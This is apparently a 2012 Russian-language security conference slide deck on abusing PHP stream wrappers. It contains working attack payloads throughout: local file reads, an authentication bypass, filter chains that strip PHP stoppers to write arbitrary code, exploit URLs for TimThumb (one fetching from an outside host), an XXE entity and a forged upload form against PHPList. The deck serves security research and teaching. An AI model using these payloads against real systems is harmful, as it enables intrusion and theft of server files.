29
PHP Wrappers Алексей Москвин

О безопасном использовании PHP wrappers

Embed Size (px)

Citation preview

Page 1: О безопасном использовании PHP wrappers

PHP Wrappers

Алексей Москвин

Positive TechnologiesMay 2012

Page 2: О безопасном использовании PHP wrappers

Потоки

Streams

Page 3: О безопасном использовании PHP wrappers

Чтение данных.

Wrappers

Можно получать данные, не только из локальных файлов!

$file = 'ftp://user:[email protected]/pub/file.txt';

$file = ‘http://127.0.0.1/server-status’;

$file = ‘php://fd/XXX’;

$file = ‘expect://ls’;

$handle = fopen($file, "rb");while (!feof($handle)) { $contents .= fread($handle, 8192); }fclose($handle);

Page 4: О безопасном использовании PHP wrappers

Запись данных.

Чтение файлов.

Преобразовываем файл, перед записью на диск.

Записываем данные в Apache error_log (PHP >= 5.3.6)

copy ('/etc/passwd' , 'php://output');

file_put_contents(‘php://output', file_get_contents('/etc/hosts'));

move_uploaded_file($_FILES[“attach”]["tmp_name"],  “php://filter/string.rot13/resource=./upload/user_attach”);

error_log (‘Bypass root perm!’, 3, ‘php://fd/2’);

Page 5: О безопасном использовании PHP wrappers

Wrapper zip://

Требования: PHP скомпилирован с поддержкой zip.

Обертку zip:// можно использовать при allow_url_fopen = Off.

Враппер zip://, позволяет получить доступ к файлам внутри архива,

имя архива может быть произвольным.

$zip = new ZipArchive;

if ($zip->open('/tmp/any_name_zip_arxiv',1) ) { $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());‘ ); }$zip->close();

print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');

Page 6: О безопасном использовании PHP wrappers

Замена NULL байта.

Использование врапперов: http:// ftp:// data:// ограничивается директивой allow_url_include.

Использование NULL байта, при инклюде локальных файлов, ограничивается

директивой magic_quotes_gpc.

Если есть возможность создать zip-архив, можно использовать обертку zip://

path=zip:///tmp/any_name_zip_arxiv#/my

Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On

Имя архива может быть произвольным, это дает возможность использовать

временные файлы, которые создаются, при загрузке контента. Путь до временного файла можно узнать из phpinfo():https://rdot.org/forum/showthread.php?t=1134

$s = $_POST[‘path’]; include $s.’/header.html’;

Page 7: О безопасном использовании PHP wrappers

Wrapper data:// (RFC 2397)

Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис:

dataurl := "data:" [ mediatype ] [ ";base64" ] "," data

mediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlchar parameter := attribute "=" value

Особенность враппера: mediatype может либо полностью отсутствовать, либо

быть заполнен произвольными значениями:

data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

Page 8: О безопасном использовании PHP wrappers

Trick: function stream_get_meta_data

Манипулирование элементами массива, возвращаемого stream_get_meta_data

Перезаписываем переменную $password POST DATA: file=data://text/plain;password=mysecret;base64, Обходим авторизацию: Cookie: admin=mysecret

$password = 'secret';$file = $_POST['file'];$fp = fopen( $file, 'r');extract(stream_get_meta_data($fp));if ( $mediatype === 'text/plain') { ... }if ( $_COOKIE['admin'] === $password) { ... }

Page 9: О безопасном использовании PHP wrappers

Враппер compress.zlib://

применение compress.zlib://, не изменяет содержимое обычных файлов

в пути до локального файла, могут быть указаны, не существующие каталоги

$url = 'compress.zlib:///http://../etc/hosts';if (preg_match('/http:\/\//', $url) == true) { echo "Yes!"; }

readfile('compress.zlib:///etc/hosts');

Page 10: О безопасном использовании PHP wrappers

Any Data in parse_url

Функция parse_url, может обрабатывать не только URL, но и строкидовольно общего вида.

Загрузка изображений с img.youtube.com:POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

Обход проверки на имя хоста, и создание произвольных файлов:

POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

Копирование локальных файлов:

POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;

$url_info = parse_url($_POST[‘src’]);

if ($url_info['host'] === 'img.youtube.com') { $name = str_replace('/', '', substr($url_info['path'], 4)); copy( $src, './'.$name ); }

Page 11: О безопасном использовании PHP wrappers

Bypass preg_match validate

Обход фильтра на основе preg_match

POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file

function validate_url ($url) { $pattern = "/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); } $src = $_POST['src']; if (!validate_url ($src)) display_error ('invalid url');

Page 12: О безопасном использовании PHP wrappers

Загрузка произвольных файлов в TimThumb

TimThumb – популярный скрипт для ресайза изображений.Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602

New Wrappers Exploit for v1.34 (revision 145)

http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php

&url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt

function check_external ($src) { …………………    if (!validate_url ($src)) display_error ('invalid url');       $url_info = parse_url ($src);   ...................   if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']);       .................. $fh = fopen($local_filepath, ‘w’); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[‘mime’]) || …..) unlink($local_filepath); ………………………………

Page 13: О безопасном использовании PHP wrappers

Манипуляции с файлами в TimThumb v1.35

Требования: Функция curl_init отключена на атакуемом сервере.

Создание файлов с произвольным содержимым:

data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo

«Чтение» локальных файлов:

compress.zlib://youtube.com/../http://?/../../path/to/local/file

…………………                    if (!$img = file_get_contents ($src)) { display_error ('error....'); }                    if (file_put_contents ($local_filepath, $img) == FALSE) { display_error ('error.....'); }…………………

Page 14: О безопасном использовании PHP wrappers

Скрытый потенциал враппера php://filter

php://filter – позволяет применять фильтры к потоку во время открытия.

Обрабатываем содержимое файла фильтрами:

Использование неопределенного фильтра, не влияет на обработку

данных другими фильтрами.

Фильтры convert.base64-decode и string.strip_tags могут удалить часть

данных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в эксплойте для Piwik:http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability

С 2009 года остались не раскрыты два важных вопроса:

Каким образом уничтожать «ненужные» данные?

Какие возможности дает применения фильтров?

readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php');

Page 15: О безопасном использовании PHP wrappers

Алгоритм Base64: кодирование

Алгоритм Base64 описан в RFC 2045 раздел 6.8.

Алфавит Base64:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Page 16: О безопасном использовании PHP wrappers

Алгоритм Base64: декодирование.

При декодировании, во входящей строке символы не из алфавита

Base64 игнорируются.

Входящая строка разбивается на части по 4 символа,

каждая часть обрабатывается отдельно.

Page 17: О безопасном использовании PHP wrappers

Пример "выдавливания" стопера.

Применяя base64_decode к строке несколько раз, можно удалить часть данных.

“Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///’ )

Фильтр convert.base64-decode не обрабатывает строки содержащие в

середине знаки равенства.

$content = "; <? die; ?>\n";$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]\n";$file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC';file_put_contents($file, $content);

$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';var_dump(file_get_contents($s)); // print: string(0) ""

Page 18: О безопасном использовании PHP wrappers

Фильтр string.strip_tags

Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags

$quoted_printable_lt = '='.strtoupper(dechex(ord('<'))); // =3C

Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8 битной кодовой таблицы.

Преобразование в формат Quoted-Printable.

Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке содержится знак равенства, после которого нет шестнацетиричного кода символа.

$content = "; <? die; ?>\n";$content .= "=3C=3Fprint('PHP');\n";$file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC';file_put_contents($file, $content);

$quoted_printable_lt = '='.strtoupper(dechex(ord('<')));

$s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP';var_dump(file_get_contents($s)); // print: string(0) ""

Page 19: О безопасном использовании PHP wrappers

TextPattern: Upload Arbitrary Files (I)

Данные об авторах комментариев сохраняются в файл с расширением .php

Пп

$file = $prefs['tempdir'].DS.'evaluator_trace.php'; if (!file_exists($file)) { $fp = fopen($file, 'wb'); if ($fp) fwrite($fp, "<?php return; ?>\n". "This trace-file tracks saved comments. (created ".

safe_strftime($prefs['archive_dateformat'],time()).")\n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)\n\n");

Page 20: О безопасном использовании PHP wrappers

TextPattern: Upload Arbitrary Files (I)

Page 21: О безопасном использовании PHP wrappers

Обход проверки getimagesize (I)

С помощью фильтров можно удалять не только “стоперы”, например можно

модифицировать содержимое изображения, после того как оно прошло проверкуна основе функции getimagesize.

Если в EXIF изображения внедрить данные

Page 22: О безопасном использовании PHP wrappers

Обход проверки getimagesize (II)

Загружаем изображение, но на сервере сохраняется zip-архив, содержащий файл /my/header.html

folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/

Инклюдим файл внутри zip-архива

templatedir=zip:///tmp/avatar.jpg#/my

extract($_REQUEST);…..include $templatedir.'/header.html';.....if (!empty($_FILES) ) { $file_info = getimagesize($_FILES['image']['tmp_name']); if($file_info['mime'] == 'image/jpeg') { if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') )......

Page 23: О безопасном использовании PHP wrappers

Файлы с произвольным содержимым

Создание файлов с произвольным содержимым дает возможность:

создать файл сессии и реализовать unserialize bug через session_start()

создать zip архив и проэксплуатировать RFI

cоздать/перезаписать файлы htaccess/htpasswd

создать или перезапись шаблоны.

Page 24: О безопасном использовании PHP wrappers

parse_ini_file atack

Функция parse_ini_file обрабатывает только локальные файлы.

Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90

admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"

Используя фильтры преобразуем файл сессии в формат, доступный функции parse_ini_file

php://filter/read=convert.base64-decode|convert.base64-decode|

convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90

session_start();$_SESSION['admin'] = $_POST['name']; .......$var = parse_ini_file($inifile);require $var['require'];

Page 25: О безопасном использовании PHP wrappers

XXE Atack

Чтение файлов за счет внедрения внешней сущности в XML.

Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.

<?xml version='1.0'?><!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/server-status"> ]><scan>&test;</scan>

Page 26: О безопасном использовании PHP wrappers

Частичное чтение файлов в PHPList <= 2.10.13 (I)

Причиной уязвимости, является возможность изменять структуру массива $_FILEShttp://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/

С помощью следующей HTML формы возможно загружать файлы в базу данных.

if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES['attribute']['name'] as $key => $val) { if (!empty($_FILES['attribute']['name'][$key])) { $tmpnam = $_FILES['attribute']['tmp_name'][$key]; $size = $_FILES['attribute']['size'][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf('replace into %s (userid,attributeid,value) values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar)));

<form action="http://localhost/lists/admin/?page=user&id=1" method="POST” enctype="multipart/form-data" ><input type="file" name="attribute[tmp_name]["><input type="file" name="attribute[size]["><input type="file" name="attribute[[tmp_name]"><input type="file" name="attribute[name]["><input name="change" value="Save Changes" type="submit"></form>

Page 27: О безопасном использовании PHP wrappers

Частичное чтение файлов в PHPList <= 2.10.13 (II)

Page 28: О безопасном использовании PHP wrappers

Ограничения использования врапперов.

При установленном Suhosin-е, по умолчанию невозможно использовать

врапперы в инклюдах. (даже при allow_url_include = On).

Например, обертка zip:// становиться доступной, только после добавления в whitelist:

Функции file_exists, is_file, filesize возвращают FALSE, если в качестве

имени файла используются врапперы: php://filter, zip://, data://.

suhosin.executor.include.whitelist = “zip”

Page 29: О безопасном использовании PHP wrappers

Спасибо за внимание!

Вопросы?